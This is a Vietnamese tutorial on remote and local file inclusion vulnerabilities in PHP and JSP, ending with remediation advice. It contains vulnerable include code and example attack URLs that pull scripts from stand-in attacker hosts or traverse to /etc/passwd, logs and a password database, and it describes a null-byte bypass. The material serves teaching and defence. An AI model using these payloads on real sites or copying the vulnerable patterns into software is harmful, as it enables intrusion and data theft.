Lỗ hổng File Inclusion cho phép tin tặc truy cập trái phép
vào những tập tin nhạy cảm trên máy chủ web hoặc thực thi các tệp
tin độc hại bằng cách sử dụng chức năng “include”. Lỗ hổng này xảy ra do
cơ chế kiểm tra đầu vào không được thực hiện tốt, khiến tin tặc có
thể khai thác và chèn các dự liệu độc hại.
Hàm ‘Include’
Trước khi nói về chi tiết lỗ hổng, chúng ta cần hiểu sơ qua về một
lời gọi hàm ‘include()’. Toàn bộ nội dung trong một file cụ thể sẽ được
sao chép vào một file khác chứa lời gọi ‘include’. Phương thức này được
sử dụng nhằm tránh việc code lặp và có thể sử dụng bất kì lúc nào. Lập
trình viên thường sử dụng hàm include() nhằm thêm những dữ liệu, tệp tin
mã nguồn dùng chung của các tệp tin trong ứng dụng. Những nơi thường
được sử dụng như footers, headers, menu files … Dưới đây là một ví dụ
đơn giản về hàm include.
1. Một menu trang như sau
menu.php:
<?php
echo ‘<a href=”/home.asp”>HOME</a>
<a href=”/details.asp”>DETAILS</a>
<a href=”/contact.asp”>CONTACT US</a>;
?>
2. Menu trang này có thể được sử dụng lại trong tất cả các trang của ứng dụng bằng cách dùng hàm include()
abc.php
<html>
<body>
<div class =”menu”><?php include ‘menu.php';?></div>
<p>WELCOME</p>
</body>
</html>
3. Giờ thì file
menu.php đã được bao hàm trong file
abc.php, bất cứ khi nào
abc.php được truy cập, nội dung trong file
menu.php sẽ được sao chép vào
abc.php và thực thi.
Tuy nhiên vấn đề này có thể bị tin tặc khai thác và tấn công trở lại
website gây những hậu quả rất nguy hiểm. Đây là 2 lỗ hổng chính rất nguy
hiểm liên quan đến hàm include()
- Remote file inclusion
- Local file inclusion
Lưu ý: Trong PHP có 1 số hàm cũng có chức năng tương tự,
hay các hàm do người lập trình tự viết như: Inlude_once(), require(),
require_once()…
Lỗ hổng Remote file inclusion
RFI cho phép tin tặc include và thực thi trên máy chủ mục tiêu một
tệp tin được lưu trữ từ xa. Tin tặc có thể sử dụng RFI để chạy một mã
độc trên cả máy của người dùng và phía máy chủ. Ảnh hưởng của kiểu tấn
công này thay đổi từ đánh cắp tạm thời session token hoặc các dữ liệu
của người dùng cho đến việc tải lên các webshell, mã độc nhằm đến xâm
hại hoàn toàn hệ thống máy chủ.
Lỗ hổng Remote file inclusion trong PHP
PHP có nguy cơ cao bị tấn công RFI do việc sử dụng lệnh include rất
nhiều và thiết đặt mặc định của server cũng ảnh hưởng một phần nào đó.
Để bắt đầu chúng ta cần tìm nơi chứa file include trong ứng dụng phụ
thuộc vào dữ liệu đầu vào người dùng.
1. Một trong những nơi chứa lỗ hổng có thể như ví dụ dưới đây, giá trị của ‘testfile’ được cung cấp bởi người dùng:
www.victim_site.com/abc.php?testfile=example
2. Mã nguồn PHP chứa lỗ hổng:
$test = $_REQUEST[“testfile”];
Include($test.”.php”);
3. Thông số của ‘testfile’ được lấy từ phía người dùng. Đoạn mã sẽ lấy giá trị ‘testfile’ và trực tiếp include nó vào file PHP.
4. Sau đây là ví dụ về một hướng tấn công được sử dụng đối với đoạn mã trên:
www.victim_site.com/abc.php?test=http://www.attacker_site.com/attack_page
File “attack_page” được bao hàm vào trang có sẵn trên máy chủ và thực
thi mỗi khi trang “abc.php” được truy cập. Tin tặc sẽ đưa mã độc vào
“attack_page” và thực hiện hành vi độc hại.
Remote file inclusion trong JSP
1. Giả sử một kịch bản nơi một trang JSP sử dụng “c:import” nhằm nhập
một tên tệp tin nào đó do người dùng cung cấp vào trang JSP hiện tại
thông qua biến đầu vào ‘test':
<c:import url=”<%= request.getParameter(“test”)%>”>
Tấn công:
www.victim_site.com/abc.jsp?test=http://www.attackersite.com/stealingcookie.js
2. Script độc hại trong
stealingcookie.js sẽ được đưa vào trang của nạn nhân và điều khiển bởi tin tặc.
Tấn công Local file inclusion
Lỗ hổng Local file inclusion nằm trong quá trình include file cục bộ
có sẵn trên server. Lỗ hổng xảy ra khi đầu vào người dùng chứa đường dẫn
đến file bắt buộc phải include. Khi đầu vào này không được kiểm tra,
tin tặc có thể sử dụng những tên file mặc định và truy cập trái phép đến
chúng, tin tặc cũng có thể lợi dụng các thông tin trả về trên để đọc
được những tệp tin nhạy cảm trên các thư mục khác nhau bằng cách chèn
các ký tự đặc biệt như “/”, “../”, “-“.
Local file inclusion trong PHP:
1. Ví dụ đường dẫn sau có thể bị tấn công:
http://victim_site/abc.php?file=userinput.txt
2. Giá trị của biến ‘file’ được lấy vào đoạn mã PHP dưới đây:
<?php
…
include $_REQUEST[‘file’];
…
?>
3. Giờ thì tin tặc sẽ đưa mã độc vào biến ‘file’ để truy cập trái
phép vào file trong cùng chủ mục hoặc sử dụng kí tự duyệt chỉ mục như
“../” để di chuyển đến chỉ mục khác. Ví dụ tin tặc lấy được log bằng
cách cung cấp đầu vào “/apache/logs/error.log” hoặc
“/apache/logs/access.log” hay việc đánh cắp dữ liệu liên quan đến tài
khoản của người dùng thông qua “../../etc/passwd” trên hệ thống Unix.
Trong một số trường hợp đặc biệt một phần mở rộng mặc định sẽ được
thêm vào thông tin được đưa lên từ trình duyệt trước khi đưa vào hàm
Include(). Cách tốt nhất tránh những phần mở rộng này là sử dụng byte
rỗng kết thúc “″ để vượt qua. Đây là cách được các tin tặc sử dụng để
thực hiện hành vi độc hại và truy cập bất cứ kiểu file nào.
Ví dụ đầu vào được lấy từ đoạn mã sau và phần mở rộng mặc định là “.php”.
<?php
“include/”.include($_GET[‘testfile’].”.php”);
?>
Nếu tin tặc muốn truy cập một file không phải kiểu “text” chúng sẽ sử dụng một (kí tự byte rỗng sau tên của file.
http://victim_site/abc.php?testfile=../../../../etc/passwd
Tương tự Local file inclusion trong JSP:
1. Giả sử URL dưới đây được yêu cầu trong ứng dụng và biến ‘test’ lấy dữ liệu đầu vào trong lệnh include:
www.victim_site.com/abc.jsp?test=xyz.jsp
Giá trị của biến ‘test’ sẽ được chuyển qua:
…
<jsp:include page=”<%= (String)request.getParameter(\”test\”)%>”>
…
2. Mũi tấn công dành cho đoạn mã trên có thể nằm trong một file
database hợp lệ, được sử dụng như một đầu vào. Do có lỗ hổng local file
inclusion nằm trong ứng dụng, file database sẽ được include vào trang
JSP:
www.victim_site.com/abc.jsp?test=/WEB-INF/database/passwordDB
Khắc phục
Lỗ hổng xảy ra khi việc kiểm tra đầu vào không được chú trọng. Khuyến
cáo riêng thì không nên hoặc hạn chế tới mức tối thiểu phải sử dụng các
biến từ “User Input” để đưa vào hàm include hay eval. Trong trường hợp
phải sử dụng. với các thông tin được nhập từ bên ngoài, trước khi đưa
vào hàm cần được kiểm tra kỹ lưỡng
- Chỉ chấp nhận kí tự và số cho tên file (A-Z 0-9). Blacklist toàn bộ kí tự đặc biệt không được sử dụng.
- Giới hạn API cho phép việc include file từ một chỉ mục xác định nhằm tránh directory traversal.
Tấn công File Inclusion có thể nguy hiểm hơn cả SQL Injection do đó
thực sự cần thiết phải có những biện pháp khắc phục lỗ hổng này. Kiểm
tra dữ liệu đầu vào hợp lý là chìa khóa để giải quyết vấn đề.
Bài viết được tham khảo từ : securitydaily.net